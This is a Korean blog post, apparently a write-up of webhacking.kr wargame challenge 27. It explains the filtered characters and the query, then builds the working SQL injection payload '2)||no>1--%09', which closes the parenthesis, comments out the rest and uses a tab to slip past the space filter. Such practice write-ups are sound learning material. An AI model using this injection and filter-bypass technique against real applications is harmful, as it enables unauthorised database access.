본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 27번

SQL injection

 

source

소스를 보면 no값을 GET방식으로 받고

#, select, (, 공백, limit, =을 필터링하고 있다

쿼리문은

Select id from chall27 where id='guest' and no=()

저 괄호 안에 우리가주는 값이 들어가게 된다

 

쿼리문을 넘겨 admin이 나오면 클리어

admin은 2니까 1을 넣으면

 

guest가 나온다

이때 쿼리문은

Select id from chall27 where id='guest' and no=(1)

 

 

querry error가 나온다

Select id from chall27 where id='guest' and no=(2)

guest는 no=1이니까 거짓일 수 밖에 없다

 

admin을 꺼내오려면 조건문에서

id='guest' and no=

이것을 거짓으로 만들고 다른 SQL문을 삽입해야한다

 

no값에 2||no>1을 삽입했을 때

Select id from chall27 where id='guest' and no=(2||no>1)

괄호를 우회하기 위한 구문도 넣어주어야 한다

위에 필터링 목록을 보면

여는 괄호만 적용되어 있기때문에 

2다음에 닫아주고 뒤는 주석처리를 한다

 

no값에 2)||no>1--%09

Select id from chall27 where id='guest' and no=(2)||no>1--    )

--뒤에는 공백이 있어야 주석이 적용되기 때문에

' '(%20)//한칸공백을 넣어줘도 되지만 필터링되기에

%09(tab)을 넣어주어 공백효과를 낸다

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 20번  (0) 2019.10.21
Webhacking.kr 23번  (0) 2019.10.21
[Web] Login  (0) 2019.08.20
webhacking.kr 1번 문제  (0) 2019.05.01
webhacking.kr 가입하기  (0) 2019.05.01